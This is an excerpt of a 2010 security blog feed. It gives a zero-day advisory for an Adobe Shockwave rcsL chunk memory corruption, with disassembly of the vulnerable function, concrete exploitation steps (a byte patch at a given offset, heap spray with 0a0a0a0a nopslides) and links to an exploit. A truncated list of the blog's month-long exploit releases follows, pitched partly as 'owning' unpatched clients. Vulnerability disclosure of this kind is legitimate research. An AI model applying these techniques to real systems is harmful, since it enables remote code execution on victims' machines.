		<comments>http://www.abysssec.com/blog/2010/10/22/adobe-shockwave-player-rcsl-chunk-memory-corruption-0day/#comments</comments>
		<pubDate>Fri, 22 Oct 2010 14:40:16 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[advisory]]></category>
		<category><![CDATA[Exploits / BUG Decryption]]></category>

		<guid isPermaLink="false">http://www.abysssec.com/blog/?p=1242</guid>
		<description><![CDATA[1) Advisory information Title                   :  Adobe Shockwave player rcsL chunk memory corruption Version             : Shockwave player 11.5.8.612 Discovery         :  http://www.abysssec.com Vendor             :  http://www.adobe.com Impact              :  Critical Contact            :  shahin [at] abysssec.com , info  [at] abysssec.com Twitter             : @abysssec CVE                   :  ZeroDay Not Patched 2) Vulnerable version Shockwave Player 11.5.8.612 last version 3) Vulnerability information Class [...]]]></description>
			<content:encoded><![CDATA[<h2>1) Advisory information</h2>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="638" valign="top"><strong> Title                   :    Adobe </strong><strong>Shockwave player rcsL chunk memory   corruption</strong></p>
<p><strong> Version             : </strong><strong>Shockwave player</strong><strong> 11.5.8.612</strong></p>
<p><strong> Discovery         :  <a href="http://www.abysssec.com/">http://www.abysssec.com</a></strong></p>
<p><strong> Vendor             :  <a href="http://www.adobe.com/">http://www.adobe.com</a></strong></p>
<p><strong> Impact              :  Critical</strong></p>
<p><strong> Contact              :  shahin [at] abysssec.com , info  [at] abysssec.com</strong></p>
<p><strong> Twitter             : @abysssec</strong></p>
<p><strong> CVE                   :  ZeroDay Not Patched</strong></td>
</tr>
</tbody>
</table>
<h2>2) Vulnerable version</h2>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="638" valign="top"><strong><a href="http://www.filehippo.com/download_shockwave/">Shockwave Player 11.5.8.612</a> last version</strong></td>
</tr>
</tbody>
</table>
<h2>3) Vulnerability information</h2>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="638" valign="top">Class</p>
<p><strong> 1- </strong><strong>Memory corruption allow command execute</strong><strong> </strong></p>
<p>Impact<strong> </strong></p>
<p><strong>Successfully   exploiting this issue allows remote attackers to execute arbitrary code or   cause denial-of-service conditions.</strong></p>
<p>Remotely   Exploitable</p>
<p><strong>Yes</strong></p>
<p>Locally   Exploitable<strong> </strong></p>
<p><strong>Yes</strong></td>
</tr>
</tbody>
</table>
<h2>4) Vulnerabilities detail</h2>
<p><strong>Introduction </strong></p>
<p>Shockwave player is a plug in for loading Adobe Director video files in to the browser. Director movies have DIR or compressed format of DCR.  DIR file format is based on RIFF based formats. RIFF formats start with a 4byte RIFX identifier and length of the file. And subsequently chunks come together with format of 4byte chunk identifier + size of chunk + data. Some of the chunk identifiers are tSAC, pami, rcsL.</p>
<p>By help of our simple fuzzer we have manipulated a director movie file and found a vulnerability in part of an existing rcsL chunk.</p>
<p><strong>Vulnerability explanation </strong></p>
<p>There is a 4bytes value in the undocumented rcsL chunk in our sample director movie and it may be possible to find similar rcsL chunks in other director samples. The 4bytes so called value can be manipulated to reach the vulnerable part of function 68122990. Here is the function:</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="616" valign="top"><strong>.</strong><strong>text:68122990 sub_68122990    proc near               ; CODE XREF:   sub_68112120+1A57p</strong></p>
<p><strong>.text:68122990                                         ;   DATA XREF: sub_68122F30+4AAo</strong></p>
<p><strong>.text:68122990</strong></p>
<p><strong>.text:68122990 var_8           = dword ptr -8</strong></p>
<p><strong>.text:68122990 var_4           = dword ptr -4</strong></p>
<p><strong>.text:68122990 arg_0           = dword ptr  4</strong></p>
<p><strong>.text:68122990 arg_4           = dword ptr  8</strong></p>
<p><strong>.text:68122990</strong></p>
<p><strong>.text:68122990                 sub     esp, 8</strong></p>
<p><strong>.text:68122993                 mov     eax, [esp+8+arg_4]</strong></p>
<p><strong>.text:68122997                 push    ebx</strong></p>
<p><strong>.text:68122998                 push    ebp</strong></p>
<p><strong>.text:68122999                 push    esi</strong></p>
<p><strong>.text:6812299A                 mov     esi, [esp+14h+arg_0]</strong></p>
<p><strong>.text:6812299E                 push    edi</strong></p>
<p><strong>.text:6812299F                 push    eax</strong></p>
<p><strong>.text:681229A0                 push    esi</strong></p>
<p><strong>.text:681229A1                 call    sub_680FC6D0</strong></p>
<p><strong>.text:681229A6                 mov     ecx, [esi+18h]</strong></p>
<p><strong>.text:681229A9                 mov     edx, [esi+10h]</strong></p>
<p><strong>.text:681229AC                 mov     ebp, [esi+1Ch]</strong></p>
<p><strong>.text:681229AF                 mov     ebx, [esi+20h]</strong></p>
<p><strong>.text:681229B2                 add     ecx, 0FFFFFFF8h</strong></p>
<p><strong>.text:681229B5                 cmp     ebp, 3</strong></p>
<p><strong>.text:681229B8                 mov     [esp+18h+arg_0], eax</strong></p>
<p><strong>.text:681229BC                   mov     [esi+18h], ecx</strong></p>
<p><strong>.text:681229BF                 mov     eax, [edx]</strong></p>
<p><strong>.text:681229C1                 mov     edx, [eax+ecx]</strong></p>
<p><strong>.text:681229C4                 lea     edi, [esi+1Ch]</strong></p>
<p><strong>.text:681229C7                 mov     [edi], edx</strong></p>
<p><strong>.text:681229C9                 mov     eax, [eax+ecx+4]</strong></p>
<p><strong>.text:681229CD                 mov     [edi+4], eax</strong></p>
<p><strong>.text:681229D0                 mov     [esp+18h+var_8], 4</strong></p>
<p><strong>.text:681229D8                 mov     [esp+18h+var_4], 0</strong></p>
<p><strong>.text:681229E0                 jz      short loc_681229F6</strong></p>
<p><strong>.text:681229E2                 push    ebx</strong></p>
<p><strong>.text:681229E3                 push    ebp</strong></p>
<p><strong>.text:681229E4                 push    0Ch</strong></p>
<p><strong>.text:681229E6                 push    esi</strong></p>
<p><strong>.text:681229E7                 call    sub_680FCFB0</strong></p>
<p><strong>.text:681229EC                   pop     edi</strong></p>
<p><strong>.text:681229ED                 pop     esi</strong></p>
<p><strong>.text:681229EE                 pop     ebp</strong></p>
<p><strong>.text:681229EF                 pop     ebx</strong></p>
<p><strong>.text:681229F0                 add     esp, 8</strong></p>
<p><strong>.text:681229F3                 retn    8</strong></p>
<p><strong>.text:681229F6 ;   &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</strong></p>
<p><strong>.text:681229F6</strong></p>
<p><strong>.text:681229F6 loc_681229F6:                           ; CODE XREF:   sub_68122990+50j</strong></p>
<p><strong>.text:681229F6                 mov     ecx, [ebx]</strong></p>
<p><strong>.text:681229F8                 mov       edx, [ecx]</strong></p>
<p><strong>.text:681229FA                 mov     ecx, [esp+18h+arg_0]</strong></p>
<p><strong>.text:681229FE                 lea     eax, [esp+18h+var_8]</strong></p>
<p><strong>.text:68122A02                 push    eax</strong></p>
<p><strong>.text:68122A03                 push    ecx</strong></p>
<p><strong>.text:68122A04                 push      ebx</strong></p>
<p><strong>.text:68122A05                 push    esi</strong></p>
<p><strong>.text:68122A06                 call    dword ptr [edx+2Ch]</strong></p>
<p><strong>.text:68122A09                 mov     ecx, [esi+7Ch]</strong></p>
<p><strong>.text:68122A0C                 test    ecx, ecx</strong></p>
<p><strong>.text:68122A0E                 jz      short loc_68122A22</strong></p>
<p><strong>.text:68122A10                 push    ebx</strong></p>
<p><strong>.text:68122A11                 push    ebp</strong></p>
<p><strong>.text:68122A12                 push    esi</strong></p>
<p><strong>.text:68122A13                 call    sub_680FC730</strong></p>
<p><strong>.text:68122A18                 pop     edi</strong></p>
<p><strong>.text:68122A19                 pop     esi</strong></p>
<p><strong>.text:68122A1A                 pop     ebp</strong></p>
<p><strong>.text:68122A1B                 pop     ebx</strong></p>
<p><strong>.text:68122A1C                 add     esp, 8</strong></p>
<p><strong>.text:68122A1F                 retn    8</strong></p>
<p><strong>.text:68122A22 ;   &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</strong></p>
<p><strong>.text:68122A22</strong></p>
<p><strong>.text:68122A22 loc_68122A22:                           ; CODE XREF:   sub_68122990+7Ej</strong></p>
<p><strong>.text:68122A22                 test    eax, eax</strong></p>
<p><strong>.text:68122A24                 jnz     loc_68122AAC</strong></p>
<p><strong>.text:68122A2A                 push    esi</strong></p>
<p><strong>.text:68122A2B                 call    sub_680FD9D0</strong></p>
<p><strong>.text:68122A30                 push    edi</strong></p>
<p><strong>.text:68122A31                 push    esi</strong></p>
<p><strong>.text:68122A32                 mov     [edi], ebp</strong></p>
<p><strong>.text:68122A34                 mov     [edi+4], ebx</strong></p>
<p><strong>.text:68122A37                 call    sub_680FC7C0</strong></p>
<p><strong>.text:68122A3C                 push    esi</strong></p>
<p><strong>.text:68122A3D                 call    sub_680FD9D0</strong></p>
<p><strong>.text:68122A42                 mov     eax, [esp+18h+arg_4]</strong></p>
<p><strong>.text:68122A46                 mov     edx, [esi+28h]</strong></p>
<p><strong>.text:68122A49                 mov     [esi+0A4h], eax</strong></p>
<p><strong>.text:68122A4F                 mov     dword ptr [esi+20h], 80000001h</strong></p>
<p><strong>.text:68122A56                 mov     ecx, [edx]</strong></p>
<p><strong>.text:68122A58                 lea     eax, [eax+eax*2]</strong></p>
<p><strong>.text:68122A5B                 push    esi</strong></p>
<p><strong>.text:68122A5C                 call    dword ptr [ecx+eax*8+20h]</strong></p>
<p><strong>.text:68122A60                 mov     eax, [esi+7Ch]</strong></p>
<p><strong>.text:68122A63                 test    eax, eax</strong></p>
<p><strong>.text:68122A65                 jz      short loc_68122A85</strong></p>
<p><strong>.text:68122A67                 cmp     eax, 4</strong></p>
<p><strong>.text:68122A6A                 jnz     short loc_68122ACE</strong></p>
<p><strong>.text:68122A6C                 mov     edx, [esp+18h+arg_0]</strong></p>
<p><strong>.text:68122A70                 push    edx</strong></p>
<p><strong>.text:68122A71                 push    8</strong></p>
<p><strong>.text:68122A73                 push    37h</strong></p>
<p><strong>.text:68122A75                 push    esi</strong></p>
<p><strong>.text:68122A76                 call    sub_680FD040</strong></p>
<p><strong>.text:68122A7B                 pop     edi</strong></p>
<p><strong>.text:68122A7C                 pop     esi</strong></p>
<p><strong>.text:68122A7D                 pop       ebp</strong></p>
<p><strong>.text:68122A7E                 pop     ebx</strong></p>
<p><strong>.text:68122A7F                 add     esp, 8</strong></p>
<p><strong>.text:68122A82                 retn    8</strong></p>
<p><strong>.text:68122A85 ;   &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</strong></p>
<p><strong>.text:68122A85</strong></p>
<p><strong>.text:68122A85 loc_68122A85:                           ; CODE XREF:   sub_68122990+D5j</strong></p>
<p><strong>.text:68122A85                 mov     eax, [edi]</strong></p>
<p><strong>.text:68122A87                 mov     ecx, [edi+4]</strong></p>
<p><strong>.text:68122A8A                 mov     edx, [esi+10h]</strong></p>
<p><strong>.text:68122A8D                   mov     [esp+18h+var_8], eax</strong></p>
<p><strong>.text:68122A91                 mov     eax, [esi+18h]</strong></p>
<p><strong>.text:68122A94                 add     eax, 0FFFFFFF8h</strong></p>
<p><strong>.text:68122A97                 mov     [esp+18h+var_4], ecx</strong></p>
<p><strong>.text:68122A9B                 mov     [esi+18h], eax</strong></p>
<p><strong>.text:68122A9E                 mov     ecx, [edx]</strong></p>
<p><strong>.text:68122AA0                 mov     edx, [ecx+eax]</strong></p>
<p><strong>.text:68122AA3                 mov     [edi], edx</strong></p>
<p><strong>.text:68122AA5                 mov     eax, [ecx+eax+4]</strong></p>
<p><strong>.text:68122AA9                 mov     [edi+4], eax</strong></p>
<p><strong>.text:68122AAC</strong></p>
<p><strong>.text:68122AAC loc_68122AAC:                           ; CODE XREF:   sub_68122990+94j</strong></p>
<p><strong>.text:68122AAC                 push    ebx</strong></p>
<p><strong>.text:68122AAD                 push    ebp</strong></p>
<p><strong>.text:68122AAE                 push    esi</strong></p>
<p><strong>.text:68122AAF                 call    sub_680FC730</strong></p>
<p><strong>.text:68122AB4                 mov     eax, [esi+7Ch]</strong></p>
<p><strong>.text:68122AB7                 test    eax, eax</strong></p>
<p><strong>.text:68122AB9                 jnz     short loc_68122ACE</strong></p>
<p><strong>.text:68122ABB                 push    esi</strong></p>
<p><strong>.text:68122ABC                 call    sub_680FD9D0</strong></p>
<p><strong>.text:68122AC1                 mov     ecx, [esp+18h+var_8]</strong></p>
<p><strong>.text:68122AC5                 mov     edx, [esp+18h+var_4]</strong></p>
<p><strong>.text:68122AC9                 mov     [edi], ecx</strong></p>
<p><strong>.text:68122ACB                 mov     [edi+4], edx</strong></p>
<p><strong>.text:68122ACE</strong></p>
<p><strong>.text:68122ACE loc_68122ACE:                           ; CODE XREF:   sub_68122990+DAj</strong></p>
<p><strong>.text:68122ACE                                         ;   sub_68122990+129j</strong></p>
<p><strong>.text:68122ACE                 pop     edi</strong></p>
<p><strong>.text:68122ACF                 pop     esi</strong></p>
<p><strong>.text:68122AD0                 pop     ebp</strong></p>
<p><strong>.text:68122AD1                 pop     ebx</strong></p>
<p><strong>.text:68122AD2                 add     esp, 8</strong></p>
<p><strong>.text:68122AD5                 retn    8</strong></p>
<p><strong>.text:68122AD5 sub_68122990    endp</strong></td>
</tr>
</tbody>
</table>
<p>In the above function we have direct control on the second argument of the function. By manipulating the argument in rcsL chunk we reach to an indirect call that is based on our arguments:</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="616" valign="top"><strong>.text:68122A42                 mov     eax, [esp+18h+arg_4]</strong></p>
<p><strong>.text:68122A46                 mov     edx, [esi+28h]</strong></p>
<p><strong>.text:68122A49                 mov     [esi+0A4h], eax</strong></p>
<p><strong>.text:68122A4F                 mov     dword ptr [esi+20h], 80000001h</strong></p>
<p><strong>.text:68122A56                 mov     ecx, [edx]</strong></p>
<p><strong>.text:68122A58                 lea     eax, [eax+eax*2]</strong></p>
<p><strong>.text:68122A5B                 push    esi</strong></p>
<p><strong>.text:68122A5C                 call    dword ptr [ecx+eax*8+20h]</strong></td>
</tr>
</tbody>
</table>
<p><strong> </strong></p>
<p>The above code is our vulnerable part. EAX register is set with second argument that we have control on it and ESI is first argument of the function and is a pointer to a dynamic allocated structure in heap. Value of offset 28h of the structure that is unknown is set in ECX register and finally an indirect call to the &#8216;ECX+EAX*24+20h&#8217; is done. Because result of EAX*24 is a large value and we have complete control on EAX register we can almost control first byte of our indirect call pointer without the need of ECX register.</p>
<h2><strong>Exploitation :</strong></h2>
<p>For exploitation purpose because we don&#8217;t have a fixed address in our call we cannot control the execution flow to an exact value but we can jump to a specific range because we have control on first bytes of the pointer of indirect call. So here by abusing javascript we can use old-school heap spray technic to fill memory with nops+shellcode and call to this range.</p>
<p>To control the 4 bytes EAX register in our exploit we manipulated 4bytes at offset 4C4B of the file to value FFF00267.</p>
<p>An important hint here is that because we call the indirect pointer the EIP is set to nops itself. As you know an EIP of 90909090 is invalid. But we can use other opcodes as nopslides that doesn’t have any effect. In our test sample we used 0a0a0a0a as both base range of heap spray and nopslides because 0a0a opcode is an OR instruction on some unimportant registers.</p>
<p>The sample + exploit are tested on patched windows XP service pack 3.</p>
<p>here is exploit + binary analysis link:</p>
<p><a title="Exploit Link" href="http://abysssec.com/files/Adobe_Shockwave_Director_rcsL_Chunk_Memory_Corruption.zip " target="_blank">http://abysssec.com/files/Adobe_Shockwave_Director_rcsL_Chunk_Memory_Corruption.zip</a></p>
<p>Proof Video : <a href="http://www.offensive-security.com/adobe-shockwave-player-rcsL-exploit-0day.mp4" target="_blank">Here</a></p>
<p>PS 1 : this vulnerability is not patched bug released by ZDI <a href="http://www.zerodayinitiative.com/advisories/ZDI-10-162/">http://www.zerodayinitiative.com/advisories/ZDI-10-162/</a></p>
<p>PS 2 : it&#8217;s possible to exploit this vulnerability on modern windows like Vista/7 too and it&#8217;s up to readers &#8230;</p>
<p>related links:</p>
<p><a href="http://www.vupen.com/english/advisories/2010/2752">http://www.vupen.com/english/advisories/2010/2752</a></p>
<p><a href="http://secunia.com/advisories/41932">http://secunia.com/advisories/41932</a></p>
<p><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3653" target="_blank">CVE-2010-3653</a></p>
<p><a href="http://www.adobe.com/products/player_census/shockwaveplayer/">http://www.adobe.com/products/player_census/shockwaveplayer/</a></p>
<p><a href="http://www.adobe.com/support/security/advisories/apsa10-04.html">http://www.adobe.com/support/security/advisories/apsa10-04.html</a></p>
<p>Happy Hacking !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2010/10/22/adobe-shockwave-player-rcsl-chunk-memory-corruption-0day/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://www.offensive-security.com/adobe-shockwave-player-rcsL-exploit-0day.mp4" length="5516874" type="video/mp4" />
		</item>
		<item>
		<title>MOAUB – Day by Day</title>
		<link>http://www.abysssec.com/blog/2010/09/01/moaub-1/</link>
		<comments>http://www.abysssec.com/blog/2010/09/01/moaub-1/#comments</comments>
		<pubDate>Wed, 01 Sep 2010 11:46:26 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[advisory]]></category>
		<category><![CDATA[Exploits / BUG Decryption]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[reversing]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[binary analysis]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[exploit-db]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[MOAUB]]></category>
		<category><![CDATA[shahin]]></category>
		<category><![CDATA[shahin ramezany]]></category>

		<guid isPermaLink="false">http://www.abysssec.com/blog/?p=1212</guid>
		<description><![CDATA[Yes ! finally MOAUB (Month of Abysssec Undisclosed Bugs) started and finished as well. Good Or Bad we released lots of 0days and binary analyses during a month (September) and you can use these info for owning websites UN-patched clients  or writing more secure applications . here is summary: Day1: Binary Analysis: MOAUB #1 &#8211; [...]]]></description>
			<content:encoded><![CDATA[<p>Yes ! finally MOAUB (Month of Abysssec Undisclosed Bugs) started and finished as well.</p>
<p style="text-align: center;"><img class="aligncenter" src="http://www.exploit-db.com/images/MOAUB/MOAUB-1.png" alt="Month of all User Bugs" /></p>
<p>Good Or Bad we released lots of 0days and binary analyses during a month (September) and you can use these info for owning websites UN-patched clients  or writing more secure applications .</p>
<p>here is summary:</p>
<p><strong>Day1:</strong></p>
<p>Binary Analysis:</p>
<p><strong><a href="http://www.exploit-db.com/exploits/14853">MOAUB #1 &#8211; Adobe Acrobat Reader and Flash Player “newclass” invalid pointer</a></strong></p>
<p><strong><a href="http://www.exploit-db.com/download_pdf/14863">MOAUB #1 &#8211; Adobe Acrobat Reader and Flash Player “newclass” invalid pointer &#8211; Binary Analysis</a></strong><strong> </strong></p>
<p><strong>0day:</strong></p>
<p><strong><a href="http://www.exploit-db.com/exploits/14854">MOAUB #1 &#8211; Cpanel PHP Restriction Bypass Vulnerability 0day</a></strong></p>
<p><strong><a href="http://www.exploit-db.com/download_pdf/14864">MOAUB #1 &#8211; Cpanel PHP Restriction Bypass Vulnerability 0day</a></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day2:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/14869">MOAUB #2 &#8211; Apple QuickTime FlashPix NumberOfTiles Remote Code Execution Vulnerability</a></p>
<p><a href="http://www.exploit-db.com/download_pdf/14871">MOAUB #2 &#8211; Apple QuickTime FlashPix NumberOfTiles Vulnerability &#8211; Binary Analysis</a></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/14870">MOAUB #2 &#8211; Rainbowportal Multiple Remote Vulnerabilities</a></p>
<p><a href="http://www.exploit-db.com/download_pdf/14872">MOAUB #2 &#8211; Rainbowportal Multiple Remote Vulnerabilities – 0day</a><strong> </strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day3:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/14878">MOAUB #3 &#8211; Trend Micro Internet Security Pro 2010 ActiveX extSetOwner Remote Code Execution</a><strong> </strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/14881">MOAUB #3 &#8211; Trend Micro Internet Security Pro 2010 ActiveX extSetOwner &#8211; Binary Analysis</a><strong> </strong></p>
<p><strong>0day:</strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/14879">MOAUB #3 &#8211; Visinia 1.3 Multiple Vulnerabilities</a></span><strong> </strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/14880">MOAUB #3 &#8211; Visinia CMS Multiple Vulnerabilities &#8211; 0day</a><strong> </strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day4:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/14886">MOAUB #4 &#8211; Movie Maker Remote Code Execution (MS10-016)</a><strong> </strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/14889">MOAUB #4 – Movie Maker Remote Code Execution (MS10-016) &#8211; Binary Analysis</a></span><strong> </strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/14887">MOAUB #4 &#8211; syndeocms 2.8.02 Multiple Vulnerabilities</a><strong> </strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/14888">MOAUB #4 – Syndeocms 2.8.02 Multiple Vulnerabilities &#8211; 0day</a><strong> </strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day5:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/14895">MOAUB #5 &#8211; Microsoft MPEG Layer-3 Remote Command Execution Exploit</a><strong> </strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/14899">MOAUB #5 &#8211; Microsoft MPEG Layer-3 Remote Command Execution &#8211; Binary Analysis</a><strong> </strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/14898">MOAUB #5 &#8211; IfNuke Multiple Remote Vulnerabilities 0day</a><strong> </strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/14900">MOAUB #5 &#8211; IfNuke Multiple Remote Vulnerabilities 0day</a><strong> </strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day6:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/14916">MOAUB #6 &#8211; HP OpenView NNM webappmon.exe execvp_nc Remote Code Execution</a><strong> </strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/14918">MOAUB #6 – HP OpenView NNM webappmon execvp_nc Remote Code Execution &#8211; Binary Analysis</a><strong> </strong></p>
<p><strong>0day:</strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/14915">MOAUB #6 &#8211; InterPhoto Gallery Multiple Remote Vulnerabilities</a></span><strong> </strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/14917">MOAUB #6 – InterPhoto Gallery Multiple Remote Vulnerabilities &#8211; 0day</a></span><strong> </strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day7:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/exploits/14928">MOAUB #7 &#8211; Novell Netware NWFTPD RMD/RNFR/DELE Argument Parsing Buffer overflow</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/14930">MOAUB #7 &#8211; Novell Netware NWFTPD RMD/RNFR/DELE Argument Parsing Buffer overflow</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/14927">MOAUB #7 &#8211; DynPage &lt;= v1.0 Multiple Remote Vulnerabilities &#8211; 0day</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/14929">MOAUB #7 &#8211; DynPage &lt;= v1.0 Multiple Remote Vulnerabilities &#8211; 0day</a><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day8:</strong></p>
<p>Binary Analysis:</p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/14944">MOAUB #8 &#8211; Microsoft Office Visio DXF File Stack based Overflow</a></span><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/14946">MOAUB #8 &#8211; Microsoft Office Visio DXF File Stack based Overflow &#8211; Binary Analysis</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><a href="http://www.exploit-db.com/exploits/14943">MOAUB #8 &#8211; Sirang Web-Based D-Control Multiple Remote Vulnerabilities</a><strong></strong></p>
<p><a href="http://www.exploit-db.com/download_pdf/14945">MOAUB #8 – Sirang Web-Based D-Control Multiple Remote Vulnerabilities &#8211; 0 day</a><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day9:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/download_pdf/14950">MOAUB #9 &#8211; Mozilla Firefox XSLT Sort Remote Code Execution Vulnerability</a><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/14949">MOAUB #9 &#8211; Mozilla Firefox XSLT Sort Remote Code Execution Vulnerability</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/14948">FestOS CMS 2.3b Multiple Remote Vulnerabilities</a></span><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/14951">MOAUB #9 – FestOS CMS 2.3b Multiple Remote Vulnerabilities</a></span><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day10:</strong></p>
<p>Binary Analysis:</p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/14956">MOAUB #10 &#8211; Excel RTD Memory Corruption</a></span><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/14966">MOAUB #10 &#8211; Excel RTD Memory Corruption</a></span><strong></strong></p>
<p><strong>0day:</strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/exploits/14954">MOAUB #10 &#8211; aradBlog Multiple Remote Vulnerabilities</a></span><strong></strong></p>
<p><span style="text-decoration: underline;"><a href="http://www.exploit-db.com/download_pdf/14957">MOAUB #10 &#8211; aradBlog Multiple Remote Vulnerabilities</a></span><strong></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Day11:</strong></p>
<p>Binary Analysis:</p>
<p><a href="http://www.exploit-db.com/download_pdf/14972">MOAUB #11 &#8211; Microsoft Office Word 2007 sprmCMajority Buffer Overflow</a><strong></strong></p>
